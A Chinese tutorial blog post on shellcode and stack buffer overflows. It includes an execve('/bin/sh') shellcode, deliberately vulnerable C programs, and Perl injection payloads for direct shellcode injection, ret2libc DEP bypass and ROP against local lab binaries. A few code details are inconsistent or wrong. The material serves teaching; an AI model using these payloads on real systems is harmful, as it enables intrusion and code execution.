shellcode与系统安全

不羁的心 提交于 2020-02-25 16:13:59

shellcode与系统安全

http://tommwq.tech/blog/shellcode-and-security/

1 避免shellcode中出现0x00的方法

  • 使用 xor eax, eax 代替 mov eax, 0x00 
  • 使用 xor eax, eax; mov al, 0x01 代替 mov eax, 0x01 

2 获取shellcode地址

从逻辑上看, call target 等效于

dec esp
mov [esp], eip
jmp target

因此,执行call指令可以将下一条指令的地址写入栈。在call之后执行 pop eax 就可以将目标地址保存到eax中。call分为near call和far call,near call使用的是段内的相对地址,因此可以用来定位shellcode。下面是一个示例:

jmp short save_location:
locate: 
    pop eax

    ;; do something

save_location:
    call locate
data:
    "shellcode"

3 向函数传递参数

对于基本数据类型的参数,可以直接设置寄存器或堆栈的值。对于结构体等类型的参数,参数是通过指针传递的。可以通过 push 将数据压入栈,然后通过 mov eax, esp 的方式将指针传递给寄存器。在通过 push 传递路径时必须将路径和指针长度对齐,方法是在路径分割符中填充“/”字符,比如将 /bin/sh 填充为 /bin//sh 。还有,在 push 时必须转换为小端。

4 部分Linux系统调用

 

4.1 execve(32位)

EAX 11
EBX 程序名
ECX 参数
EDX 环境
ESI 系统堆栈

5 将二进制文件转换为C语言字符串

od -t x1 binary_file | sed -e 's/[0-7]*//' | sed -s 's/ /\\x/g'

6 一个简单的shellcode

;; nasm -f bin shellcode.asm -o shellcode
[bits 32]
;; execve("//bin/sh", 0, 0, 0);
xor edx, edx
mov ecx, edx
push edx
push 0x68732f6e 
push 0x69622f2f  
mov ebx, esp
xor eax, eax
mov al, 0x0b
int 0x80

7 一些辅助函数

global get_ebp

get_ebp:
    mov eax, ebp
    ret

8 一个简单的缓冲区溢出示例

文件  
a.c 漏洞和利用程序。
a.h 生成的头文件。
generate.sh 生成a.h的脚本。
makefile makefile脚本。
shellcode.asm shellcode代码。
util.asm 辅助函数。

首先要关闭ASRL。

sudo sysctl -w kernel.randomize_va_space=0
// a.c
#include <stdio.h>

void unsafe(char *data);
void* current_ebp();

int main(int argc, char *argv[]) {

#include "a.h"

    char *data = "\x01\x01\x02\x03\x04\x05\x06\x07"
        "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
        "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
        "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
        "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
        "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
        "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f";

    void *upframe_ebp = current_ebp();    
    char *buffer = (char*) malloc(1024);
    strncpy(buffer, data, 64);
    strncpy(buffer + 24, &upframe_ebp, 4);
    strncpy(buffer + 28, &shellcode, 4);
    unsafe(data);
    printf("ok\n");

    return 0;
}

void unsafe(char *data) {
    int buffer[4];
    strcpy(buffer, data);
}
// generate.h
shellcode=`od -t x1 -w1000 shellcode | sed -e 's/[0-7]*//' | sed -e 's/ /\\\\\\\\x/g' | xargs`
echo "char *shellcode=\"${shellcode}\";" > a.h
# makefile
a.out: a.c a.h util.o
    gcc -fno-stack-protector -ggdb -Wl,-zexecstack a.c util.o
a.h: shell.asm
    nasm -f bin -o shellcode shellcode.asm
    ./generate.sh

util.o: util.asm
    nasm -f elf -o $@ $^

clear:
    -rm a.out a.h shellcode util.o
;; shellcode.asm
[bits 32]
xor edx, edx
mov ecx, edx
push edx
push 0x68732f6e 
push 0x69622f2f  
mov ebx, esp
xor eax, eax
mov al, 0x0b
int 0x80
;; util.asm
global current_ebp
current_ebp:
    mov eax, ebp
    ret

9 示例2:缓冲区溢出攻击

文件  
makefile makefile脚本
target.c 目标程序。
shellcode.asm shellcode程序
// target.c
#include <stdio.h>

void unsafe(char *data);


int main(int argc, char *argv[]) {
        unsafe(argv[1]);
        return 0;
}

void unsafe(char *data) {
        int buffer[4];
        strcpy(buffer, data);
}
# makefile
a.out: target.c
        gcc -fno-stack-protector -ggdb -Wl,-zexecstack -o $@ $^
;; shellcode.asm
[bits 32]
xor edx, edx
mov ecx, edx
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
xor eax, eax
mov al, 0x0b
int 0x80

注入方法

./a.out `perl -e 'print "A"x28 . "\xf0\xf5\xff\xbf" . "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x31\xd2\x89\xd1\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"'`

其中地址0xbffff5f0是在esp地址加上填充字节数和shellcode指针长度后得到的。这个地址位于缓冲区后面。

10 缓冲区溢出攻击的基本流程

  • 寻找注入点。重复构造输入,不断增加输入长度,查看在那个地方程序会崩溃。这个地方就是覆盖了ebp。再向前覆盖一个指针,就可以覆盖ret地址。
  • 寻找缓冲区位置。如果只覆盖ebp,不覆盖返回地址,程序也会崩溃,但是可以保留eip和esp。根据esp可以找到缓冲区位置。缓冲区地址在esp附近。可以适当在esp基础上增加padding长度和shellcode指针长度,并在shellcode开头加入一些nop指令(0x90),以保证控制流程跳转到shellcode。
  • 注入shellcode。

11 数据执行保护和绕过

为了利用栈溢出,需要把一组指令伪装成数据,注入到目标程序之中。从示例2可以看到,注入的指令保存在缓冲区,也就是栈上。为了避免栈溢出被恶意利用,操作系统提出了数据执行保护(Data Execution Prevention,DEP)机制,DEP利用CPU对内存页属性的检查,禁止CPU将栈上的数据作为指令来执行。这样当控制流程在跳转到shellcode后,CPU发现指令位于栈上,拒绝执行。DEP封住了注入指令的漏洞。那么除了注入指令,有没有其他的方法利用缓冲区溢出呢?这个方法就是return-to-lib。return-to-lib不再直接注入指令,而是根据目标程序自身,构造出一个控制流程,让程序跳转到这个控制流程中。比如Linux下的很多程序会调用glibc,我们找到glibc里的函数(比如system),传递参数并调转,就可以让目标程序执行我们设计好的控制流程。采用这种方法比直接注入多了一个步骤,即搜索库函数。一开始,一旦程序编译完毕,库函数加载的位置是固定的。找到根据这个固定位置,就可以调用库函数。

实际上,除了目标地址来源不同之外,jmp、call、ret3个指令,没有太多不同。jmp和call的目标地址由指令决定,ret的目标地址由栈决定。

要寻找系统函数的地址,可以用gdb加载程序,在main()处断点,然后用命令 p system 找到system的位置。找到函数还不够,还要找到函数的参数字符串。执行 x/10000s $ebp 可以查看内存中的字符串,寻找SHELL环境变量,这个字符串包含了shell程序路径,这是我们要传递给system的参数。

12 示例3:绕过DEP

采用示例2的程序,在编译时去掉 -Wl,-zexecstack 选项。

找到system、exit和/bin/bash字符串位置:

system b7e53da0
exit b7e479d0
/bin/bash bffff828

注入 system + exit + /bin/bash

./a.out `perl -e 'print "A"x28 . "\xa0\x3d\xe5\xb7" . "\xd0\x79\xe4\xb7" . "\x28\xf8\xff\xbf"'`

13 ROP

最早开发ROP技术时利用了x86指令没有对齐的特性。但实际上,ROP技术在定长指令集上也是成立的。ROP是图灵完备的。ROP首先分析glibc代码,寻找里面以 ret 结尾的长度为2、3个指令的代码片段(叫做gadget)。只要将参数和函数返回地址按顺序保存到栈上,并不断调用 ret ,就可以执行特定的指令。

14 示例4:ROP

#include <stdio.h>

void unsafe(char *data);

void foo() {
        puts("foo");
}

void bar() {
        puts("bar");
}

int main(int argc, char *argv[]) {
        unsafe(argv[1]);
        foo();
        return 0;
}

void unsafe(char *data) {
        int buffer[4];
        strcpy(buffer, data);
}

注入

./a.out `perl -e 'printf "A"x28 . "\xee\x82\x04\x08" . "\x54\x84\x04\x08" . "\xd0\x79\xe4\xb7"'`
地址  
080482ee 一个ret指令的地址
08048454 bar函数地址
b7e479d0 exit函数地址

15 思考

指令和数据共同决定了程序的执行流程,这一点和系统是否采用冯诺依曼体系无关。比如用户登录逻辑,密码匹配是一个控制逻辑,不匹配是另一个控制流程,要走那个流程,是由用户输入的数据(密码)和程序指令共同决定的。还有对于一些脚本语言,比如Javascript脚本,脚本自身是数据,但是由解析器执行时,由具有了类似指令的特性。从另一个角度看,代码和指令都是字节,区别在于CPU如何“理解”这些字节,是作为指令执行,还是作为数据读写。这说明当一个东西存在多种不同的“理解”方式时,就会存在“错误理解”的情况,这就为攻击者提供了机会。比如union也是这样。此外,兼容性也为攻击者提供了机会。信息安全技术在不断发展,老设计在新环境下必然存在安全隐患。但是为了兼容性,老的设计不能完全抛弃,这给了攻击者可乘之机。

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!